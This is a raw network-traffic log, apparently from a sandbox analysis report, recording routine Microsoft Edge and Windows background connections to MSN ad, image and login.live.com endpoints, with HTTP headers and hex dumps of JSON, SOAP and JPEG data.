2024-11-25 17:28:48 UTC	1017	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=1C9027A36A1F6A1B109A32E16B066B17&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=b00f981afebe46559fec483736eb5bc8 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=1C9027A36A1F6A1B109A32E16B066B17; _EDGE_S=F=1&SID=2411E70CCBC66AED1AC7F24ECAD16B79; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-25 17:28:49 UTC	777	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2760 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"1,P425132671-T700343875-C128000000002116289+B+P60+S1"},{"BATCH_REDIRECT_STORE":"B128000000002116289+P0+S0"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Mon, 25 Nov 2024 17:28:48 GMT Connection: close
2024-11-25 17:28:49 UTC	2760	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 48 6f 74 73 70 6f 74 73 5c 22 2c 5c 22 75 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 73 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 74 69 74 6c 65 5c 22 3a 5c 22 53 65 72 65 6e 67 65 74 69 20 4e 50 2c 20 54 61 6e 7a 61 6e 69 61 5c 22 2c 5c 22 63 74 61 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 5c 2f 73 65 61 72 63 68 3f 71 3d 53 65 72 65 6e 67 65 74 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"MSNAnaheimNewsNTPImageHotspots\",\"u\":\"MSNAnaheimNewsNTPImages\"}],\"ad\":{\"title\":\"Serengeti NP, Tanzania\",\"cta\":\"https:\/\/www.bing.com\/search?q=Serenget

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.5	49878	20.190.181.4	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:49 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-25 17:28:49 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-25 17:28:50 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 25 Nov 2024 17:27:49 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_BL2 x-ms-request-id: 6afe5cb7-0d63-4673-8169-57cbf7d54826 PPServer: PPV: 30 H: BL02EPF0001D7AC V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 25 Nov 2024 17:28:49 GMT Connection: close Content-Length: 1918
2024-11-25 17:28:50 UTC	1918	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.5	49880	104.117.182.59	443	7532	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:49 UTC	634	OUT	GET /tenant/amp/entityid/BB1msOP1.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 17:28:50 UTC	518	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msOP1 Last-Modified: Thu, 21 Nov 2024 14:18:51 GMT X-Source-Length: 93971 X-Datacenter: eastus X-ActivityId: 018f338c-4aa5-4903-85a0-d96bc95803ac Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 93971 Cache-Control: public, max-age=75075 Expires: Tue, 26 Nov 2024 14:20:04 GMT Date: Mon, 25 Nov 2024 17:28:49 GMT Connection: close
2024-11-25 17:28:50 UTC	15866	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-25 17:28:50 UTC	16384	IN	Data Raw: a4 36 cb df b3 ba c7 b3 04 ed 90 f6 e2 c2 e6 e2 15 12 1c 08 23 50 44 21 50 5e 9a f9 a6 e1 58 88 88 04 75 48 8b 6b 98 b4 55 49 21 35 87 dd 35 26 9a 44 0e 7e 35 49 54 56 24 0a c4 e4 3a d3 25 88 82 73 12 46 2c 8f 29 d5 48 5d 8d c6 6d ee 35 cf db 1b cd 13 3b 65 ce 68 24 82 2e d8 34 30 69 78 42 73 cb ea e3 26 05 79 08 4a a2 ca 49 52 35 6d 63 cb 5c f6 87 76 43 9c 40 9c 23 10 01 c4 8f c4 49 02 4e 65 45 b3 aa 23 1d 30 c2 ef d6 d3 47 11 31 13 3d c0 55 c0 10 0c 29 02 b4 c1 ad 79 db 8a aa 65 6e a9 71 fa 29 25 31 ae 97 e2 b4 2c 69 c5 4d 28 96 43 62 66 0e 29 81 59 31 87 5a 6b 9a bc 6c 6b dc 58 de d3 88 37 17 71 6e 2b 56 04 90 3a 20 95 58 4e 0c 52 db c4 4f 75 a6 70 e9 d5 4b 52 aa 41 6c 45 6f 3e 54 f9 a5 34 8f 1c b8 26 d6 cd c8 02 b5 e4 26 38 d8 2d 03 88 ad 46 87 29 1d Data Ascii: 6#PD!P^XuHkUI!55&D~5ITV$:%sF,)H]m5;eh$.40ixBs&yJIR5mc\vC@#INeE#0G1=U)yenq)%1,iM(Cbf)Y1ZklkX7qn+V: XNROupKRAlEo>T4&&8-F)
2024-11-25 17:28:50 UTC	2689	IN	Data Raw: cc 99 ce ca d2 0c 19 c8 45 ea b3 1d 04 82 d0 6b 50 e2 40 a7 28 77 ba a9 07 3a 4d 94 43 71 18 32 64 d6 b0 78 ac a2 c5 12 20 1e a2 6e d3 71 06 2b 65 9d 79 10 66 b4 f4 e1 6e aa 84 dc 52 d6 14 06 66 2a 6b aa 89 fc a6 bc bd 62 2b d5 05 65 d2 1c 5c 6f d2 f5 d3 45 0d 70 26 b4 eb 68 eb 62 86 58 e8 2e 83 84 10 31 65 26 48 f3 85 27 aa 0b b8 38 bc d2 4b 9c 60 61 10 0f 5b cc 92 2b ce 55 07 46 d9 93 6b 0b c9 b5 81 a4 0e 0b 9b 6c 12 1d 04 d8 d2 40 91 a7 59 d0 23 34 c0 6e 29 70 ac b6 63 3b 50 cd 4f ba 63 2a 21 bb 8e 26 03 45 04 34 90 db 6a e2 7f 95 b0 06 48 37 b4 52 63 50 7a 84 f0 b9 ae 20 c1 ce 41 11 c2 25 ab 0d a9 ac cd a8 01 12 33 e5 09 d3 3c 41 70 b4 35 bd d8 84 d6 86 87 4e a9 b8 b3 07 6f 6b ad 84 09 10 3f d4 4c c9 e8 2b a8 45 a3 59 63 06 7b 64 1f 5a 8f 9a 0e 17 3d Data Ascii: EkP@(w:MCq2dx nq+eyfnRfkb+e\oEp&hbX.1e&H'8K`a[+UFkl@Y#4n)pc;POc!&E4jH7RcPz A%3<Ap5Nok?L+EYc{dZ=
2024-11-25 17:28:50 UTC	16384	IN	Data Raw: 14 b8 0f 4e b9 ab 76 28 e7 5a 6b c3 35 0e 0e 1e 95 f4 52 11 c4 48 87 54 92 0d 22 04 d2 49 92 ea 6b a4 28 34 a4 9b da 0f 9f 14 da 70 65 5c f2 a7 8a a4 23 43 32 22 b9 29 63 12 08 10 39 ce a7 4d 07 45 a2 97 32 3c 80 5a 3a 52 4c 4e 7c 8d 13 ec ac 12 22 22 73 f2 b4 75 41 49 34 98 a7 01 3c d1 71 54 b9 b2 09 6f 68 69 23 0d 73 24 54 08 88 9e b2 82 40 8b cf 0f 4b d3 ad 16 98 3d 3a 28 c8 21 25 f5 2e a9 26 4e 66 6a 49 d7 8a ac 2e 74 40 8a c6 84 f9 88 f1 55 4e 3b 8e 2d 71 6b 41 c2 d0 dc 20 32 70 80 2a 03 44 bb fc 8e 66 b2 8b 1b 85 a1 a5 ce 2d 93 86 7f f9 60 dd f8 66 9a 12 42 8f a4 05 a0 07 f7 8e d1 42 29 31 9e 19 b1 d0 d5 63 d9 af 1b 1e 08 bb 90 21 87 00 0d c5 07 ba b5 26 fa 7f 8d 05 ea b1 3f a8 c9 6b 81 6e 17 00 40 23 15 08 c4 1c 2a 30 e5 10 79 27 d0 7a b9 27 92 c4 Data Ascii: Nv(Zk5RHT"Ik(4pe\#C2")c9ME2<Z:RLN\|""suAI4<qTohi#s$T@K=:(!%.&NfjI.t@UN;-qkA 2pDf-`fBB)1c!&?kn@#0y'z'
2024-11-25 17:28:50 UTC	16384	IN	Data Raw: 6e 23 e4 b3 a7 1c bb e0 35 97 19 e5 04 71 b9 5e 6c 02 bd 1d d2 37 43 87 22 29 02 f6 f1 2b 91 f4 02 84 00 63 f8 5d ba b9 77 3d a1 86 e0 44 1e 28 db 83 b4 13 e0 20 ec e3 dc 34 6b 9d 11 20 02 6e 60 4c 5a 49 03 9a 37 73 e8 05 8d be 55 95 a7 30 66 20 c1 13 6a 64 8a 48 36 d3 c1 49 c2 8d 65 00 04 9b 00 65 d9 4d c8 11 41 60 67 55 23 6e b1 6e b9 7a 14 b2 23 0c 9b 13 59 cf d1 10 1d 79 75 01 0e 1c c7 12 08 31 40 5a 69 cc 13 06 a8 ed 70 ac d4 47 23 d1 2c 90 dc 6b 36 b7 19 fa f6 df 8c 34 07 38 1c 6c 73 4c e2 61 11 18 aa 08 a8 21 03 0e be 0e 53 d1 74 5e 48 14 a5 6f 1f 75 0e 69 00 45 ef 33 79 e8 b5 19 04 cb 25 a0 83 20 13 4e 30 24 48 ea 85 4f ba 39 6f dc a4 fd bc 39 f7 66 0c 53 dd 68 39 cb 6f 33 e8 b0 ed 24 5e 69 5f e5 18 17 03 42 68 71 37 a3 86 7c d4 ba 93 20 e2 26 a4 Data Ascii: n#5q^l7C")+c]w=D( 4k n`LZI7sU0f jdH6IeeMA`gU#nnz#Yyu1@ZipG#,k648lsLa!St^HouiE3y% N0$HO9o9fSh9o3$^i_Bhq7\| &
2024-11-25 17:28:50 UTC	7952	IN	Data Raw: d6 1d 84 56 26 2d 9f 43 c5 71 b1 df af 67 60 dd 18 48 ac c5 26 3c 59 75 7e ce d0 24 44 45 6e 34 8e 2b ca 79 c8 b6 1d 63 34 f2 1e cb 35 f0 d1 39 5f 2e 0b 18 e9 a7 f1 0f 20 35 c0 c9 b1 5e 46 eb 85 e6 78 7b af 53 71 8e c2 c7 90 40 7b 65 a4 d9 e2 48 91 c4 47 35 e5 6e 06 c7 e3 06 69 5b 5e 64 75 a4 55 6b aa ed 41 80 74 27 82 1b 99 4a 9a e5 4a 55 13 08 26 45 00 3d 68 ba 4f c6 6f 1d cd a7 3b 03 ff 00 4e db b6 58 1c c0 47 eb 38 86 12 22 b1 8c 90 4d 41 88 b2 f4 75 cf 7b 8f 3f 79 7d a6 bc e7 35 b3 35 c3 94 c0 3f 78 cd 22 d1 48 33 23 2c ab 63 d5 14 ed 81 5a 9e a8 a3 6d a4 08 9b d4 88 a0 d2 33 56 8e 35 ca e6 80 75 f4 e0 8c 36 c5 d1 06 db 4c 56 01 35 c8 fd 0a 4e a4 0c 56 14 a4 1b 9b eb cd 1a dc 86 dc 46 18 26 b1 49 89 39 7a a2 3b 6f 03 a2 67 0d ce 40 f3 f6 e6 82 0f 5e Data Ascii: V&-Cqg`H&<Yu~$DEn4+yc459_. 5^Fx{Sq@{eHG5ni[^duUkAt'JJU&E=hOo;NXG8"MAu{?y}55?x"H3#,cZm3V5u6LV5NVF&I9z;og@^
2024-11-25 17:28:50 UTC	16384	IN	Data Raw: 4a 69 a7 9b 1c 49 22 aa 12 59 fc 9f 71 c7 52 92 a2 92 3f 23 53 a5 fa 06 54 22 15 25 1f 94 fe 30 8a 19 45 28 65 6a 7c ba 3f 10 45 0c a2 94 32 b5 f9 47 e3 0c a1 94 42 a4 a7 f2 2f c6 1a 85 65 49 57 33 c1 17 52 55 15 32 b5 c9 70 4a 94 ca 92 53 3b 2e 09 2a 4a 72 a0 94 f2 5c 18 a9 5a 54 ca 79 2e 0c 52 52 5c a4 b9 5a b8 a9 64 32 f5 1f b1 06 75 1d 35 cf fb 02 df b9 a3 31 e6 8b 2f d1 a9 8e 89 4a 57 2b be 25 82 b8 82 03 be 31 83 aa 27 c7 df b7 fa 68 e7 d2 7f aa 7e af 43 10 54 1c bc 7f f7 cc ea 91 f8 e7 64 d3 c5 6b fd bf c9 7d 99 fc df 1c f7 7b ed 2b b7 6d b8 97 c6 3f fe 53 75 8e 22 02 bd bf f9 1f 8c 73 27 f6 96 5f fd 3e 81 72 ef fc 07 cb db df ac ff 00 9f 66 ba ff 00 19 f1 cf 19 da be e8 ec 3a 26 0a f2 be 23 7b 6f 6c c1 7b 47 49 5f 29 bb f1 9f 13 b9 47 6f 3c d2 c5 Data Ascii: JiI"YqR?#ST"%0E(ej\|?E2GB/eIW3RU2pJS;.*Jr\ZTy.RR\Zd2u51/JW+%1'h~CTdk}{+m?Su"s'_>rf:&#{ol{GI_)Go<
2024-11-25 17:28:50 UTC	1928	IN	Data Raw: a9 57 45 92 24 d1 0e b3 4a 2d 88 05 25 c0 73 44 8d 89 10 b2 8f d8 0a c0 f3 e0 ac 1a b5 51 55 18 b4 13 ea b6 37 73 1e e1 04 48 5a 88 12 6a 26 46 99 a8 c5 4d 47 a2 78 8d 74 62 01 6c 7f c7 d1 73 cc 18 3a 66 94 f8 36 f3 57 11 c9 d1 fb 2d d7 87 d9 2c 67 c7 82 82 09 e1 d0 cf b2 d3 cb ff 00 84 ab 8a da 3e 3f 02 16 c4 7c 7d c2 0c f3 f5 09 ce 77 e5 43 e4 ac 5a 36 29 f1 f7 58 1c 8d 34 28 53 9c c8 d0 dd 69 cd b4 e8 8c 3a 34 cb ba 8c c2 41 d2 26 e7 c6 88 77 a8 be 89 82 0b a6 ca c5 aa 92 e1 4e 23 f9 5a 97 b7 9f c9 4c c1 ee 17 cd 31 39 43 86 8a c2 ae b1 3e 47 ee 98 75 32 3d 2a 14 52 68 4b 4e 99 27 7f c8 7f dc 14 96 5d 84 67 c8 d4 2c 6a d0 44 18 50 45 2f 88 7b ad 43 f8 d0 e8 84 bc 41 c2 26 12 26 90 e1 4d 42 52 0d 1c 23 aa d2 e6 8a 59 48 c4 da 8e 1d 52 06 3f c9 be 89 1c Data Ascii: WE$J-%sDQU7sHZj&FMGxtbls:f6W-,g>?\|}wCZ6)X4(Si:4A&wN#ZL19C>Gu2=*RhKN']g,jDPE/{CA&&MBR#YHR?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.5	49882	104.117.182.59	443	7532	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:49 UTC	634	OUT	GET /tenant/amp/entityid/BB1msBaE.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 17:28:50 UTC	520	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msBaE Last-Modified: Sat, 23 Nov 2024 07:54:44 GMT X-Source-Length: 57629 X-Datacenter: northeu X-ActivityId: a063f996-f3f8-41ae-8a59-709a41eac6eb Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 57629 Cache-Control: public, max-age=224828 Expires: Thu, 28 Nov 2024 07:55:57 GMT Date: Mon, 25 Nov 2024 17:28:49 GMT Connection: close
2024-11-25 17:28:50 UTC	15864	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-25 17:28:50 UTC	16384	IN	Data Raw: 20 27 29 59 4d 47 48 cd 8c f2 8f 29 a8 04 63 94 aa 34 19 2d 59 e5 1d 1a a4 51 2d 18 50 f2 9b 50 eb 80 b1 86 51 65 3a 29 0e 91 ab 66 9c f9 50 f2 9b d0 b2 8b 65 96 50 ca 69 94 74 56 59 0d 1a d0 b2 a0 24 74 3a a1 95 9b 2a 0a 2a 87 40 4d 0c b1 d2 08 81 d1 74 3a 09 6c e8 74 69 43 a0 96 ce 82 8d 68 28 23 2a 1d 33 51 e0 0b 65 43 a3 4a 45 50 4b 65 94 32 9b 50 50 4b 65 94 28 d6 87 40 65 41 46 b4 14 82 5b 2a 1d 1a 50 50 2d 03 2e 82 82 20 65 50 e8 09 15 71 2e 82 8a 26 8a a2 a8 64 44 57 12 b0 18 14 01 e4 14 19 57 20 87 95 70 0c 8b 72 3c 1f 8c f7 0d 5e fb dd 94 34 65 28 c9 4a da b6 94 97 27 5e 67 c2 ff 00 ed ff 00 8a 29 56 79 45 57 e2 4e 6f fe 9c 4b 18 f7 cd 26 bd d0 fd 67 c3 e0 2c 9c 19 f3 7f 03 ee 1d f3 ba 43 51 77 9e f3 a9 a8 9e 5c 91 ff 00 31 e5 db 6f e6 4b 6e 18 Data Ascii: ')YMGH)c4-YQ-PPQe:)fPePitVY$t:*@Mt:ltiCh(#3QeCJEPKe2PPKe(@eAF[*PP-. ePq.&dDWW pr<^4e(J'^g)VyEWNoK&g,CQw\1oKn
2024-11-25 17:28:50 UTC	2997	IN	Data Raw: ed ed 25 bc b5 f0 98 ed 7a 53 d2 9e f9 c3 5e 3a 91 7d 53 6a 5d a7 26 af c2 15 e3 de 65 1e 32 d2 9b 58 ff 00 f6 e5 23 d3 fd 56 a4 24 94 fb bf 87 8a f9 65 9f 49 f5 3a 94 1f 9a 3a 5f 7b 8d a4 d6 ba be 59 66 97 94 bd c5 b9 85 b9 7c bf f2 9d 48 ab d2 ef 3d db 53 6a ac 74 e7 d5 e2 a5 eb 1c 7e 11 df 1a bc 9d 19 64 a5 ff 00 4c f6 75 1f 4b fa 8e eb a8 f2 be f1 06 f7 c3 51 34 fa d5 57 45 9b 78 31 92 4e 14 f7 5c 64 e9 79 48 b9 c8 f9 39 7c 1f be 57 cd a1 38 e1 b5 4e 3d aa 4e 2c c2 5f 0a ef 58 e5 c7 2e 2e 29 49 cd 75 28 e3 d3 1b 3e c2 5a 3a a9 52 d5 d7 ac 55 49 ad 55 d3 f3 de 3c 8e 5d 4e eb de 24 97 f9 b1 96 0b f1 c2 49 a7 cd 3d 39 41 ae 8c 50 ce 77 5f 27 e5 76 06 7d 81 7c 4f bd f3 b4 19 95 85 81 a8 cc ac 76 06 83 32 b6 17 c4 9a 8d 40 ca c7 98 8d 35 f2 0b 31 b1 e6 e0 Data Ascii: %zS^:}Sj]&e2X#V$eI::_{Yf\|H=Sjt~dLuKQ4WEx1N\dyH9\|W8N=N,_X..)Iu(>Z:RUIU<]N$I=9APw_'v}\|Ov2@51
2024-11-25 17:28:50 UTC	16384	IN	Data Raw: 30 d6 4d ed f0 2b 37 41 cd 9e 1c 58 f3 c7 93 33 5d 1a be ae 9b e2 3b e2 8c 2f 87 98 ad f0 25 35 12 ea 4e c7 d5 da 73 60 5a ae 4c cb a4 36 5d 0b cc bc 7d 15 e6 61 4f 90 2c 0c cc 35 0e 8b e0 83 37 41 95 c7 88 b3 11 a7 4d f4 15 6b d2 f5 9c 79 ba 4d 13 5c 7c 89 50 b6 e8 ce ba 43 3f 57 91 9d 8a f8 31 43 a5 49 f0 2b 33 e0 73 76 06 63 2a eb cd c1 14 9a 7b 91 c9 98 9f 12 b7 12 96 dd fe 44 b9 61 b0 e4 5a a8 5e 32 dc 31 94 b8 7e 6b f1 df 88 77 a8 f7 fd 5d 29 4a 4a 3a 74 a3 17 8c 7f 0e da df 77 b6 cf 95 7a fa 8f 7f 46 ef 51 f6 1f c5 1a 5d de f4 f5 15 ad 69 5d f2 71 e3 c6 f6 1f 09 19 49 3b 47 d1 1e cf 33 f2 69 ce 75 b7 63 ef 1a 91 54 9b e7 b7 69 1f a8 94 9e 2d f5 b3 29 73 66 78 3d b8 1a 72 6b 2d 47 2d e2 f1 27 ce bb 08 49 6e 0c 78 06 54 e6 df 36 2b bd 8c 91 f6 80 f1 Data Ascii: 0M+7AX3];/%5Ns`ZL6]}aO,57AMkyM\\|PC?W1CI+3svc*{DaZ^21~kw])JJ:twzFQ]i]qI;G3iucTi-)sfx=rk-G-'InxT6+
